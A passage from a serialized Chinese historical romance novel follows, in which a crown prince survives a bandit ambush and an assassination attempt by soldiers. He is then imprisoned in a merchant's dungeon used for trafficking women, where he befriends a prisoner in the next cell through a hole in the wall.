离去前,两名水匪突然听到船舱内传来白日那个护卫的声音,似乎是喝醉了在与水手吹牛,将桌子拍得震震响,“这些东西算什么宝贝!不过区区冰山一角!哼,你们是不知道,要不是听说这边闹灾,少主才不会叫我先来开道,我瞧那些水匪也没那个胆子动手!” 有人恭维道:“爷爷厉害!快再添一杯!您是说,后头还有商船?” “那是自然。”许惟一醉醺醺地哼笑道,“我家少主明日就到,我们好不容易才走通域外这条道,后头还有船来,可是大生意呢!” 话音落下,屋内响起一片恭维之声。 许惟一耳尖动了动,听到船舱外有人离开的细微声响,笑容顿时得更加真心实意了些。 上钩了。 * 与此同时。 师离忱带着一小支侍从,从山间弯道里路过,他坐在马车内,侍从前后簇拥,与外出的公子哥们无二。 林间簌簌涌动。 山匪向上报道:“就是一伙走道的公子哥,听闻水匪闹得严重,这才走官道,那些侍卫都穿着瞧着是从镖局雇来的,那镖印都没去,构不成大威胁。” 水匪消息传得没有那么快,或许也有独吞珠宝的想法,自然并未与山匪通气。两方若是碰了头,许还能琢磨出些不对劲。 可惜,人心贪婪。少一个人知晓,所分得的财宝便多一份。 于是乎。 一声令下。 山匪纷涌而出,欢呼着,大干一票! 第103章 天光破开云层,今日是个好天气。 蜿蜒山道,丛林纷杂,长长官道上车马款款前行,忽地山中林子传来一声哨响。蹲伏在附近的山匪鱼跃而出,瞬间将一行车马团团包围。 车马周围的镖师立即拔剑警惕地将马车护在中间,一些山匪骑着马在队伍周围一圈一圈的绕,其中山匪头领哈哈大笑挑衅,“都识相些,马车里头藏着什么好宝贝抬出来,老子给你们一个痛快!” 话音未落。 匪首神色陡然骤变,一支利箭自车厢门帘的缝隙中嗖地钻出,如同警告般贴着他面颊擦过。 气氛倏地凝滞。 匪首不可置信抬手摸了摸脸上,那里被擦出一条血痕。他拧眉,再看向马车,此时架着马车的中年男子正毕恭毕敬地掀开车帘,从中走出了个身形修长的少年。 少年着一身暗红束腰劲装,鸦羽般的微卷长发被束成马尾,张扬的散在脑,挑眼瞥来间眉眼明艳,袖口是金属鹿皮质感的束袖,提着把金弓翻转了两下,嘴角噙笑歪了歪脑袋,轻飘飘道:“喔……不好意思,打偏了。” 意气风发之下,带了一股子难言的邪性。 匪首并非全无脑子,明白今日这群必然不是善茬!顿时一声令下,叫群匪围攻而上。 师离忱罢手,死士扮做的镖师按在剑柄上的利刃瞬间出鞘,不再掩藏身手,干净利索地收割起贼匪性命。 几番下来,匪首瞧出不对劲,惊道:“你们是官兵?!”这样的身手,寻常镖师可没有。 匪首大骂一声,口哨声响召集山匪就要逃命。 师离忱忽地翻身跃起,站到了马车的最顶端,抽出一支箭搭弓上弦,眯起眼睛瞄准以调头逃命的匪首。 嗖! 箭羽丝一道白光划过半空,从后脑噗嗤穿透匪首眼颅,接着便是第二箭刺心,第三箭刺喉。 匪首当场咽气,从马背上倒落滚在地上,后头追来的山匪已停不下来,马蹄践踏而上。 师离忱握弓举手,嗓音随着内力扩散开来:“降者不杀!” “……” 一番威慑之下,有一些山匪胆怯之下,丢了手中兵器就要投降,被同行的山匪一刀割了喉咙,怒道:“别听这小白脸的话!被军官抓到,以我们犯下的罪行,焉能有活路?!” 那就是没得谈。 师离忱失了耐心,冷声令道:“不降,杀无赦。” 乐福安手里拿着个约莫拇指大小的竹筒,闻言拉扯了引线,信号一线飞天,倏地炸开。 约莫片刻,地面微震。 一批军马井然有序前来,约莫有两千左右,这些军马早早便调动过来埋伏在不远的位置,来了便将山匪团团围住,即刻缉拿。 不对…… 师离忱打量了两眼率领军队前来的副官,冷道:“孤没见过你,你是哪个将军手底下的?” 那人擦了擦手中刀剑,毕恭毕敬地道:“山匪凶悍,太子殿下剿匪途中惨遭不测,臣等深感痛心,已将山匪全部绞杀,恭送太子殿下一路好走!” 他眸光一厉,身边随军刀光闪过,顷刻间便将那些收押的山匪全部抹了脖子,不留一个活口。 乐福安怒道:“大胆!尔敢造反!” 所谓寡不敌众,师离忱视线四处打量,他所带死士不及四十人,必然抵不过这两千兵马。 只能杀出一条路。他瞥了眼从官道延伸出去的山道,山匪难剿的多半原因还是地形复杂导致。 快速思忖好对策,师离忱抽出腰间藏着的软剑,跳至马车前头的马背上,一剑砍了马背上的束缚,喝道:“随孤杀出去!” 死士听令,副官也道:“今日不许放出一个活口!但凡有一个活着,都得想想自己的脑袋!” “是!” * 与此同时。 许惟一站在河岸边抬头,望着逐渐昏沉的天空,抱臂道:“也不知殿下那边怎么样了……” 一个又一个的水匪被捆着羁押下船,许惟一不耐烦地踹了两脚:“都给爷老实点!” 水匪的老巢都被端了,殿下那边肯定也没什么问题。 他想着,摘了根草搭在嘴边叼着,利落上马,只可惜不能现在就去找殿下汇合,还要把这些水匪压到州府大牢。 烦死了。 …… 暮色降临。 师离忱背着乐福安,在山林中行走。 乐福安身上都是血,显然是受了不轻的伤,气息虚弱断断续续道:“殿下,放下老奴吧,老奴去给您断后……” 师离忱也没好到哪去,脸上还有飞溅的血液,因穿了一身暗红,哪怕是伤得再重也看不大出,只能看出衣裳被刀剑划烂的口子。 他们确确实实杀出了一条路,但死士全军覆没。 这些调来的都是精兵,身手甚至比皇城禁军还要凌厉几分,师离忱并未讨到多少好处,只断了那副将一臂,眼见乐福安伤势实在过重,只能先逃出来再行打算。 多亏先前有探子摸索过此处山脉,师离忱多少瞥了一眼,虽记得不全,却也能回忆起一点线索,这才将紧追不舍的随军甩开。 “殿下……”上方传来乐福安沙哑的声音,“是奴才拖累您了……” 师离忱道:“不许说这种话。” 他抬头打量着岔路,要继续往深里走,却听到旁边林子微微响动了一下,他骤然警惕,手中剑指林间。 丛林拨开,暴露出一个少年人,对方龇着大牙双手举起以示无害,“我不是坏人,我知道这里怎么走。” 师离忱眯着眼,半信半疑道:“我凭何信你?” 那少年笑眯眯的,说话间大气凌然,他掏出罗盘,“我叫左宿,是个游历的道士。你白日杀那匪首的时候我瞧见了,好厉害,你为民除害又被那些人暗害,我等正义之士,怎能袖手旁观!跟我来!” 对方身上没有半点习武的手段,气息文弱,师离忱哪怕手里没有剑都能捏死他,迟疑了一会儿,跟了上去。 好在左宿似乎真的只是个正义使者,引的是条小道,却安全的很。 “那些官兵要搜山,我们得走快些。”左宿道,“我刚刚上山的时候,瞧见他们牵了很多恶犬,那些犬类对血味很敏锐,你们把这两个药包拿好。” 他递过来两个制作简单的药包,像是用一块破布包起来的锤子,让师离忱和乐福安随身携带。 “别瞧我这药包不起眼,想要掩盖踪迹那是简简单单。”左宿扬眉,话语间尽是得意。 乐福安闻了闻,趴在师离忱耳边轻声道:“殿下,此物无毒。” 师离忱默了默,道:“……多谢。” 左宿浑不在意道:“不客气,回头多给我点黄金就行。” “……” 师离忱应下了。 忽地,吹来的风中带了一点焦味。他回头往山下看去,一点火光自山脚蔓延起来—— “他们竟敢放火烧山!”乐福安气得猛咳两声,呕出一口血来,不远处似乎有犬吠声响起,追得很紧。 师离忱不做多说,快步道:“走,翻山。” …… 追兵凶猛,他们一刻也不敢停留,连夜翻山,总算甩开了一节。 可山上藏不了人,这些人势必会在周围出口堵截,没从山中逃出来被火烧死,若是逃出来,自然就就会被抓。 连夜翻山,到山后却看到路口有十来个随军把手,牵着恶犬谈笑风生。师离忱压了压眼眸。 当机立断,他将已经昏迷的乐福安交给了左宿,压低声音道:“等会我将人引开后,你带着乐福安走。” 一块金牌也塞到左宿手中,“此乃金令可保畅通无阻,你带福安去江南,让他好好治伤。” 京都的手还伸不到那么长,至少江南暂时安全。 左宿道:“那你呢?” 师离忱沉默须臾。 他道:“有人会来接应我。” * 江水滔滔,延绵至江南。 船头的富商搂着身边花娘,展笑间露出一颗大金牙,朝着面前之人道:“听说京都派了个巡盐御史来,您可有何见教啊?” 那人冷哼不屑道:“无非就是查账,京都来的人也没别的手段,再者说有人皇爷定着,谁敢动我们?大不了就……”他做了个抹脖子的姿势,顿时叫二人会意,一同哈哈大笑起来。 他话锋一转,道:“你手底下的人调教如何了?大人前些日子有问,他身边那些人寡淡无趣,还是你献上的最合心意。” 富商叹气道:“大人有所不知,我这边也头疼的紧。不知谁将风声传到了我秋家家主耳中,那边要派人过来查,想收我主印。我在江南混了二十多年,还能叫他收缴了去?劳您多添把手,叫他们有来无回。” “好说,好说。” 杯酒相碰,达成一致共识。 船尾忽听有人惊呼:“哎呀,江上有人!快快快,拉上来。”富商撇嘴道:“莫不是个死的,晦气。” 不多时,有下人跑来与他耳语几句,富商眼神一亮,与大人说了两句,快速去了船尾。 瀑布般的头发散开,半湿地耷拉在鬓边,面色是无血色的惨白,双目紧闭却也能看出这是个极品苗子,暗红的劲装浸了水,血混着水从身上流出来,尤其是膝弯处看着最严重。 伤势不轻。 “这怕是能卖上不少价钱。”富商琢磨着,大呼可惜。 若不是如今正值多事之秋,被官府与主家两面夹击,他非要亲自来调教着少年不可! 但若放手给旁人…… 也不大舍得。 他蹲下身来,咽了咽口水想去摸一摸少年如琉璃般脆弱的面庞。 “啊——!”却见少年突然睁眼,猛地咬了他一口。 富商猛地一脚踹过去,捂着鲜血淋漓的手,打消了给少年治伤的念头,这种人必然是烈性子,得好好磋磨才行。 他勃然大怒,拂袖道:“把他给我关进地牢!锁好了,等我忙完了非要亲自拔了他的牙不可!” …… ………… 师离忱是在一片窸窸窣窣,压低嗓子的哭声中醒来的。 暗沉沉的地牢,垒砌的十分简陋,土墙隔断了每一个牢房,坚韧狭小的空间里关着一个又一个的人。 这里没有窗子,隔音也不大好,牢房门如官府的无二,只有一条道,外头有人在看守巡逻。 周围飘荡着一股森冷的血腥气,师离忱艰难地动了动,甚至能感觉到膝弯处疼痛到了麻木。 他闭了闭眼,挪到了墙边靠着,碰到了伤口疼得倒吸一口凉气。 也不知在这地牢躺了多久,他身上的衣物都干透了,他隐约记得是被人从江里捞了上来,当时他并未完全失去意识。 只是已然没有了力气,听到富商所说的恶心之言,又察觉到对方靠近后,才做的反击,之后便被当胸踹了一脚,这才彻底晕了过去。 只记得昏迷中热了又冷,冷了又热,几番浮沉之下,才挣扎着醒过来。师离忱呼出一口气,被周围陆续传来的嘈杂哭声,搅得心烦。 这乱糟糟的响动中,他忽地听到背后靠着的墙面,被轻轻敲动,是有规律,有节奏的敲。 据他所查,他所在的这间牢房,处于小道尽头的倒数第二间,隔壁倒数第一间应当还有个人关着。 师离忱顿了顿。 伸手,以同样的频率敲击了回去。 土墙,敲出来的声音很沉闷,但只要靠近就勉强能听清。隔壁似乎是听到了他敲击的动静,一瞬间沉寂下来。 正当师离忱以为对方只是瞎敲着玩时,他听到了身边有泥土松动的声音,扭头看去。 他坐的位置靠墙角,那个洞恰好在他心口位置的往右的一段距离,土灰扑簌簌地往下掉,一个约莫两个拳头大小的洞露了出来。 先前一直被土块堵着,才看不见,现在隔壁把土块抽走了,洞口完全显露,也不知是什么时候挖的,一直藏在这里,或者是以前就有。 师离忱:“……” 有这功夫,为什么挖洞的人不往外挖。 第104章 “什么?!殿下失踪了?!”许惟一拍案而起,“那你们还有脸回来?为何不继续寻!” 副将垂首,掩去眼底的阴色,“大人,殿下遭到山匪袭击,下官已竭尽全力护卫为此也断了一臂,只是那山匪狡诈凶悍,竟放火烧山,这才以至于下官们未能及时救驾……” 今日站在这里的,若是其他官员或许便信了这番说辞,但偏偏站在这里是许惟一。自小就跟在师离忱身边的伴读武将,最是清楚殿下究竟是什么样的身手。 哪怕那些山匪再凶悍,也不至于让殿下生死不知,下落不明。否则那些皇家死士是吃什么的?许惟一冷笑道:“这群山匪真是好大的本事,连殿下身边的死士都能杀光。你既如此无用,且先停职查办!” 副将面不改色道:“下官的上级是淮南总兵,大人恐怕暂无此权处置下官。” “淮南总兵……”许惟一低头笑了笑,掏出一枚印鉴,“除非他想光明正大的告诉京都,他要造反,否则今日就算是站在这儿的是淮南总兵,也得听我号令!可明白了?” 那是。 副将瞳孔紧了紧,是钦差印鉴。钦差莅临,得皇权特许,有先斩后奏之权。他不情不愿地跪下,后牙咬得紧紧。 已在飞速思索对策。 决不能让他们先找到太子! * 此时此刻。 昏暗的地牢。 洞口另一边传来一个低沉地嗓音:“隔壁的,你在哪儿?你是被抓的?伤势怎么样了?是新来的姑娘?” 听到最后一句,师离忱懒洋洋回道:“你才姑娘。” 对方“喔”了声,自顾自道:“是个男的。那你想必样貌很不错了。” 这话听起来像是对地牢情况很熟悉的样子。师离忱道:“所以你知道这是哪儿?抓我们的是谁?” 对方道:“你求我,求我就说。” 师离忱气笑了,干脆不理他,低头确认着腿弯伤口的位置。被随军围剿之时这地方就伤了,又翻山越岭,又在水里泡了那么近,如今伤得更重,得尽快清理掉上面的烂肉重新包扎。 角落的位置有些狭小,他在后脑摩挲了几下,总算摸到了藏在发间的刀片。幸亏他平时喜藏暗器,这会儿才能有趁手的工具。 师离忱面无表情地找准位置,内力催热了刀片,贴着皮肉,一点点剐过去。他咬着牙,额头冒出汗珠,唇色逐渐泛白,手里动作却不曾停下,直到处理完两条腿的伤口,撕了衣裾,包扎起来。 隔壁闻到了阴湿空气里散开的血腥味,声音都正经许多:“你流血了?伤得很重?” 师离忱没力气骂他,冷冷“嗯”了声,又道了句:“爱说就说,不说滚,别吵我。” “……” “…………” 隔壁恶声恶气道:“你是公主吗?脾气真差劲,不告诉你。” 师离忱烦得想离这个洞口远一点,干脆起身往前挪了挪,挪到了洞口对面的另一面墙,背对着洞口打坐调息,稳住内力。 洞口有两个拳头大小,唯一光线来源,是旁边牢房门里渗透进来的一点点微光。 以至于地牢并未伸手不见五指,身负内力之人,哪怕没有那点光线,也能看到周围的一切,可若有这道细微的光,看得便更清楚了。 黑漆漆的洞口,像个圆形的宝盒。 宝盒正中央,有个人在打坐,如鸦羽般微卷的长发似瀑散在身后,还有一些暴殄天物的落到地上,发丝与暗红的衣袍相呼,腰间被皮革缠绕,勒出纤细腰身。哪怕只是背对,没转过脸来,都能窥见其几分风姿骨韵。 打开宝盒洞口之人瞧了半响,小声嘀咕道:“还当真是个仙子……” * * “仙子。仙子。”隔壁叫了好几声。 师离忱被叫得烦了,不耐道:“吵什么。” 隔壁道:“你离得太远了,不好说话。你过来,过来我和你说清楚。” 师离忱深吸一气,不愿意搭理地闭上眼眸。 隔壁道:“当我求你,我求你听。我错了成不成?这外头把守森严,你一个人杀不出去。” 这句话算是说到点上,被看穿心思的师离忱总算动身,重新坐回靠近洞口的角落里。 他矜贵地昂了昂首:“说吧。” 隔壁却道:“仙子,你叫什么?” 师离忱多了两分耐性,反问:“问别人之前,是不是要先报自己的。” 隔壁道:“我姓裴,你可以叫我裴苍。” 师离忱道:“裴是南晋国姓。” 裴苍哼笑:“万一我是南晋皇帝呢。” 师离忱敷衍:“那我就是月商皇帝。”说完他愣了愣,这番对话好生幼稚。哑然失笑间嘴角弯了弯。 裴苍从善如流道:“好吧仙子,那你叫什么?” 师离忱道:“我既是月商皇帝,你说我姓什么?” 裴苍叹了口气,“也罢。师仙子。” 师离忱纠正他,“不是仙子,是太子。” 显然隔壁没信,听到这话后还低声笑了会儿,拿语气哄他,“好,好,你是太子殿下。您要不说说您是怎么被抓的?” “逃难,掉江里被捞上来的。”师离忱耐性即将告捷,提醒道:“现在你可以说这里到底是哪里了。” 看不见师离忱,裴苍便也转身靠着墙,垂首对着洞口道:“你知道第一行商秋家吗?” 师离忱若有所思,“你说的是,在南晋起家的第一商户,秋?” “对。”裴苍道:“秋家以商队闻名,在南晋,月商,鞑靼都有商队,商行,说是第一商户也不为过。” 他平静道:“月商的江南,有一处秋家的据点,这样的据点其实大江南北都有,只要有人的地方就能落。可江南这位据点的主印掌柜生了野心,违反了秋家家规,行贿官员,这地牢里,都是被拐骗或是抓来的貌美女子,待到被关到心智崩塌,才会被放出去,与那些花钱买来的一块调养。” 师离忱蹙眉道:“养?” 裴苍道:“江南瘦马,专供达官贵人,瘦马貌美又样样精通,拿得出手,也能随意抛弃……哪怕有人状告,也能被轻易压下,如此运作模式已长达十余年。” 师离忱听出他话中带着的冷意,但他更好奇,“你怎知晓如此清楚?” 裴苍笑道:“我是秋家派来查案的打手,自然知道。他们还不敢杀我,想得到更多关于主家的消息,就把我关在了地牢最底层。” 师离忱道:“那你打算怎么逃?” 裴苍指腹在膝前轻轻敲着,没回答这个问题,只慢悠悠道:“这是江南主城临安,宅邸在临安最繁华的地段,而地牢安置在宅邸的最中央。外面光巡逻把守的就有百人,轮流换岗,他们都是江湖上身手最好的精锐。况且就算是杀出地牢,外头也有机关,还有宅子里的护卫会继续阻拦,就算逃出这座宅子,外头还有府衙狼狈为奸……所以仙子,你别想着硬闯,会死的。” 师离忱面色沉着,“都说了,不要叫我仙子。” 裴苍道:“怎么又生气了。” 师离忱不想理他,阖眸思索对策。如此严密的地方,硬闯定是不行,可若从外头强攻?富商的宅子,又经得起几人围攻。 身上的伤还在隐隐作痛。 烦。 很烦。 师离忱气息不稳,气得眉头拧起,他竟然被这些人逼迫至如此境地! 思忖间,腹中忽响一声。 隔壁传来裴苍的声音,耳朵倒是很好:“仙子饿了?我这有吃的。”师离忱听见这声仙子,更烦了。 闻言撩着眼皮低眼看去,身侧的洞口伸出来一只结实有力的臂膀,袖口被卷了一些上去,骨指分明的手里拿着一个馒头。 他拿过馒头,抓住了裴苍手腕。 …… 裴苍闷哼了声,瞪大了眼睛,感受到手臂上传来的清晰痛感,万万没想会上演一出农夫与蛇,恩将仇报! 他倒是想一巴掌把人拍开,但迟疑了一瞬没动手。那单薄的身板本就伤得重,一巴掌打下去还得了…… 他咽下这口恶气,咬着牙道:“松开!快松开!我不叫了还不行吗!”总算抢救回了自己的手臂。 裴苍长这么大,什么没见过,战场上那刀光血影都没眨过眼,却唯独没见过这般不讲道理,说翻脸就翻脸的人。明明刚才还好好的。 “你这脾气……你这脾气!”裴苍抱着受伤的手臂,恨恨咬牙,低眼看到手臂上的小巧牙印,从印子里渗透出丝丝血迹。 回想一下,方才仙子咬的时候,他似乎感觉到有温软的东西贴在了这圈牙印周围…… “呸!” 他听到隔壁嫌弃的声音,像是对咬过他手臂的嘴巴,很不满意。顿时裴苍怒火中烧,“你咬的我?你还嫌弃上了?” 师离忱冷笑,“谁叫你伸过来,你自找的。” 裴苍:“你讲不讲理,那不是为了给你送馒头吗。” 师离忱咬了口馒头,嚼了嚼,蹙眉评价道:“……难吃。” 裴苍气笑了,“少爷,你现在在地牢,我能省下一口吃的给你已经很不错了。” 被咬过的馒头从洞口被丢了回来,裴苍感知到风向一手接住,只听洞口另一边的仙子冷漠道:“还你。” 第105章 简直恶劣! 裴苍捏着馒头狠狠咬了一口,像是在嚼那不识好歹矜贵少爷的肉,发狠地咬了一口又一口。 没见过这样难伺候的人! 挑剔!娇气! 若不是怕坏了事,这样的仙子他根本懒得搭理!裴苍重重靠在墙上,随意地屈起一条腿,拿着馒头的那只手搭在膝盖上,黑暗中压低的双眸沉冷,周身气息似比这阴森环境还要寒凉几分。 馒头把他的嘴堵住,他发狠地吃着,不肯再说话。 也不知是哪个世家养出来的少爷,不知礼数! 举起馒头送到嘴边时,又瞥见小臂上那上下整齐的小巧牙印。 “……” 对。 没错。 这少爷就是个娇贵的公主! …… 师离忱眼睑低垂,心想福安眼下应当已经脱离危险,但要找到他怕是如大海捞针。 他对此处熟悉程度不如隔壁牢房的裴苍……他可看得清清楚楚,裴苍伸过来的那只小臂上,有属于战场兵刃才会留下的伤疤。 此人绝非热心之人,必有其目的。他们二人若都不想被困于此,还需从长计议。 双方各怀心事。 在各自的牢房依墙而坐,谁也没出声。 好似赌气般僵持了起来。 安静之下,周围断断续续汇聚起来的哭声便显得更加清晰,在森暗的环境里十分瘆人。 “……” “…………” 师离忱偏了偏头,没听到隔壁动静,干脆继续闭目调息。 * 左宿蹲在院中熬药,忽地听到屋内传来一阵沉闷地响动,他道了句,“坏了!”急忙丢下扇子进屋。 只见身上裹满绷带的乐福安从榻上滚下来,趴在地上。他大呼:“快别在动了!刚长好的伤口,又裂开了!” 乐福安身负重伤,眼神却清明的很,左宿前来搀扶他时被一把抓住,声音沙哑急切道:“殿下……殿下呢?!” 左宿:“……” 见左宿不语,乐福安呼吸顿时急促,“我,我!” “哎哎哎你别激动。”左宿道:“我卜过卦,他没事!是逢凶化吉之兆,你千万别激动,万一你家殿下看到你这幅模样怎么办?他费那么大功夫让你活下来,可不是让你自伤的。再者说,你要帮他,你也得养好伤才行。” “……” 此言在理,乐福安渐渐冷静下来。须臾,他问:“此地,是何处?” “江南,临安。”左宿见乐福安不排斥了,慢慢将人搀扶起来,嘀嘀咕咕道:“今日我出去买药材时,已经听到太子在淮南剿匪身负重伤下落不明的事,这会儿外头正乱,你千万不能冒头。” 太子重伤,下落不明。 无论哪一条都是淮南州府承担不了的罪责,州府官员于此事无关,自然巴不得赶紧把消息散开,方便撇清关系,以求将罪责降到最低,自然也会极力配合搜查。 如此一来,刺杀之人被逼得急了,只会下手更狠。定会想尽办法找到太子殿下和他,以做到斩草除根。 要先给许惟一传讯,在淮南且拖延两日。 他要先找到殿下才行。乐福安低头思索许久,忽地看到挂在床头的药包,是左宿随手扯了两块布做来赶蛇虫鼠蚁的。 他咳嗽两声,示意道:“请将那个药包给我。” 左宿愣怔一瞬,不知他要做什么,还是如实把药包低了过去。 随意包扎起来的药包要拆开也简单,乐福安捻了捻其中的药物,放在鼻下轻轻地闻,仔细分辨其中味道。 左宿:“……你不会想靠这个闻到你家殿下在哪儿吧?” “……” 乐福安瞟了眼左宿,“老奴还没那么神。是里头有一味药与你外头熬的那味加起来,能极短时间能叫我恢复行动。” 只要他能动了,不出五日,一定能找到殿下。 他的殿下,绝不会坐以待毙。 * 与此同时。 师离忱也拆开了那个药包,不过他不完全认得里头的药材,只找出两位大概是止血化瘀效果的,碾碎敷在了膝上。 敷完他便虚累地靠坐在了墙角,闭上眼睛。 被关进此处也不知多久了,他尚且水米未进,这牢房里只给送过两顿饭,既难吃又难闻,叫人直倒胃口,他也就勉强喝了两口稀粥。 热。 师离忱感到有些晕晕乎乎,嘴唇微微张开,不自觉地大口呼吸。眉头微拧,双眸紧闭,有种魂魄已然飘离身躯的不实感。 隔壁。 裴苍耳尖动了动,察觉到不对劲,他俯身透过那漆黑的洞口仔细听了一阵,终于明显感觉到那位矜贵难伺候的仙子气息乱了。 他皱了皱眉,不大想管,起身想离开却听到了仙子发出一声虚弱地哼唧声。 怎么形容呢……像是被抛弃小猫似的,一股浓浓的委屈劲,飞进耳朵里铆足劲挠了挠。 “……”裴苍又坐了回去,黑暗中神色难辨,他对着洞口沉声道:“仙子,没事吧?” “嗯……” 师离忱无意识应了声,声音却哼哼唧唧地发虚。 绝对有事,听起来像是病了。 裴苍停顿片刻,从洞口伸出一只手,朝声音发出的方向摸索过去,指腹首先摸到了一片绵软,带着丝丝缕缕的触感。 ……是那一头散开,带着点微微卷翘,鸦羽般顺滑披着的长发。 裴苍指尖微顿,换了个方向,往前去了一点,慢慢探索位置。 ……这是脸颊。 很烫。想必引发了高热。 裴苍忽地一僵,手掌之下,一口灼热地吐息恰好吐出,洒在了他的手心,比脸颊上的温度还要烫人。 他意识有一瞬恍惚,下意识用手掌丈量了一下。 “……” 好小的脸。 他一个手掌,几乎能盖住一大半。大概确认了位置,他摸到了师离忱嘴唇所在的位置,似烫手似得只在柔软的唇上一触即分。 唇上干燥,缺水。 …… ………… 裴苍找出了藏起的水囊,从洞口递了过去,重复上一段操作,给师离忱喂水。 只不过喂水操作可比试探体温难度高多了,要把水囊出口对准嘴唇的位置再喂进去,很不容易。 那两个拳头大的洞口,没办法再穿过另一只手臂,他只能尽量贴着墙壁,把胳膊尽量伸过去。 手指要按在水囊出水口,先用手背碰一碰少爷嘴唇……确认好位置以后,再把水囊凑到少爷唇边。 裴苍深吸一口气,闭着眼,用指腹按着分开了唇瓣……终于把水送进了娇贵的仙子嘴里。 只不过总有一点点会顺着洒出来。 每当此时,裴苍就会把水囊收回来,他从袖口撕了块布,伸过去擦了擦脸颊和唇边的水渍。 这水漏得很不识相,从嘴角滑到了下颌,又滚到脖子,直到前襟。 他只能用手去感知着位置,再用布去擦干。 然后在继续重复喂水的动作,感觉到气息稳定一些了,他才去传输内力,协助调息。 “……” “…………” 师离忱迷迷糊糊地睁眼,长睫颤了颤,隐约感觉颈侧痒痒的。一只带着薄茧地手掌,正在他脖侧和肩膀的位置摸索。 他低眼:“……” “…………” 隔壁忽闻一声痛呼。裴苍急忙收回手,看着手背上明显的痕迹,难以置信道:“你挠我?” 师离忱咳了两声,平静道:“谁叫你乱摸。” 裴苍嗓音沉沉,低声道:“还不是因为要救你,你昨夜发高热了,不给你喂水渡气,你这会儿恐怕都烧成傻子了。” 师离忱道:“若非如此,你这只手已经废了。” 裴苍:“……” 裴苍气到失笑,“你要真是月商皇帝,月商有你得亡国。” 师离忱深以为然:“那就借你吉言。” “……” 话不投机半句多。 裴苍重新靠墙坐了回去,反正听声音仙子这会儿精神不错,应该是不会因为发热而死。 双方静默须臾。 师离忱眼睑微垂,藻丝般的长发落在鬓边,轻声问道:“……你呢,既觉得我这般坏,又为何救我?” 裴苍哼笑,“救人还要理由吗。” 师离忱:“不要吗。总要有一个理由的,天底下哪有无缘无故的相助。” 他下颌微抬,轻声道:“正如你想得到一件东西,学会一件事,就得付出一定的代价。” 裴苍嗤道:“狗屁道理。我只知道,想要的,就去抢,去夺,我救你是因为我心里想,没有别的理由。” 师离忱:“……” 师离忱幽幽道:“隔着墙还能感知到我气息有问题,你内力不弱对吗?为什么我感觉嘴唇好像被摸了很多次。” “……”裴苍干巴巴道,“……你已经挠过我一回了。” 一时无言。 双方默契地跳过这个话题。 裴苍道:“既然醒了,你把手伸过来,我给你渡内力方便些。” 师离忱看了眼黑漆漆的洞,沉默着把手伸了进去,试探地往里挪了一下,瞬间被对方炙热地手掌扣住了手腕。 温暖的内力如溪流般渡来,并无任何算计,只是协助调息。他压了压唇角,闭上了双眸。 “……” 墙壁另一侧。 裴苍一手抓着擦过水的布,不自觉地紧了紧手指。 好细……的腕…… 到底是哪个世家养出来的?! 第106章 京都。 太子于淮南剿匪重伤,失踪的消息很快传入上了京都城。 消息分了三路,一路密信进了大皇子府。一路悄悄递进后宫。还有一路是秘密奏疏,上呈到了御书房的桌案。 纵然此事在淮南,江南闹得沸沸扬扬,却还尚未在朝中展开详谈。既然还没人提出来……师明渊简单翻过,只当不知道,将奏疏一把火烧了。 大监担忧道:“圣上,太子殿下到底年少,若当真出了什么事……” 师明渊一笑,道:“真就这么死了,他便坐不稳这江山,当不了这太子,死了也不可惜。只是苦了朕的纯妃,得再给朕一个孩子了。” 大监张了张嘴,赔笑道:“奴才以为您很喜欢六殿下。” 师明渊道:“重要,但没那么重要。”他低头写写画画,哼着小调,对江南发生的一切浑不在意。 好刀,自然是需要一块上好的磨刀石。磨得好了,磨得妙了,才会成为一把真正的绝世宝刀。 难吗?或许。 阿忱一定不会叫他失望才对。 * 地牢里。 哭声嗡嗡,距离师离忱高热后,巡守之人又来送了三顿饭。他照样挑了稀粥喝了一些,如往常般指腹捻着地细粉抹在碗边。 富商要磨练地牢被关押之人的心智,必不会让他们过得太舒服,这些东西让他们饿不死,在这样阴森的环境,很容易被磨灭意志。 这段时日,师离忱已经陆续听到有七八个姑娘求饶,自暴自弃的崩溃哭嚷,接着被带离了地牢。 同时也有新的女子被抓进来。 算算日子。 估摸着他被关进地牢已经有七八日了。救援应该也快到此处了。他想了想,对隔壁道:“裴苍,你要早做准备。” 裴苍道:“怎么?有人要来救你了?” 师离忱不答反问:“难道就没人救你?你那水囊,馒头,谁给的?你既自称是秋氏主家派来的,江南秋家大概也有你的内应吧。” 裴苍笑了笑,道:“那你呢?那富商眼界浅薄认不得,我可见过。你身上穿的是北疆进贡的缂锦,进贡的段子皇帝只会赏给世家或是立功的功臣,可你又是这个年纪,对皇帝无多少敬畏……太子,你是真不怕死。” 话说到后半句,他语气带了丝古怪的冷意。 师离忱浑不在意,平静道:“现在你又信我是太子了?” 裴苍嗤道:“怎么不信,你可一点也没藏着。” 师离忱道:“彼此彼此。” 谈话间,外头倏然爆发出一阵动乱,有兵器交接地打斗声,尖叫声,呼救声,接着一群人凌乱地打进地牢,火把瞬间点亮了狭小的地牢。 师离忱眼睛眯了眯,看到牢房外一片动乱,其他关押姑娘的牢房被刀剑砍断了门锁,有胆大的贴着墙跑,也有缩成一团不敢冒头,生怕被刀剑伤到。 两方一路打进来。 师离忱门前的门锁也被骤地砍断,人群中有人喊了声:“大人说了,这个不能放跑!杀也不能放!” 里面混了京都的人。 师离忱眉头微敛,起身双手一翻,刀片出现在指间,拂袖抬手间,但凡有人敢靠近喉咙被抹。 这波打进来的人……并非江南府衙的兵。 是淮南那波。也对,淮南那波兵马追杀他至江水前,自然知道他落水方位,再顺着下游一打听,谁捞到了,自然也就清楚了。 他们来得倒是快! 师离忱神情透着寒意,一脚踹开扑上来的刺客,抹了对方喉咙夺走对方手中的长剑,挡住劈砍来的刀斧。 一收一放,身影灵动如影,暗红灿灿的衣裾在半空散开似鲜红的山茶花,墨色发丝飞舞,与飞溅的血液擦过。 或许是因为找到了目标,根本没人去走道尽头的最后一间牢房。裴苍透过那个狭小的洞口,看见这一幕,心口几乎就要停跳。 握住长剑的少年,凌厉的可怕。 气息沉甸甸根本不输久居沙场之人,一剑封喉,还有空顺带发两个暗器,漂亮的腕骨翻转间,将刺客性命玩弄与鼓掌。 裴苍舍不得眨眼,一错不错地紧盯。瞧了会儿,他舔了舔牙尖,开始嫌牢房位置不好。 如今光亮大盛,少年站在地牢走道,与刺客搏杀,他只能瞧见一个侧影和背影,始终看不到脸。 他烦躁地皱眉,转眼看向牢房门。 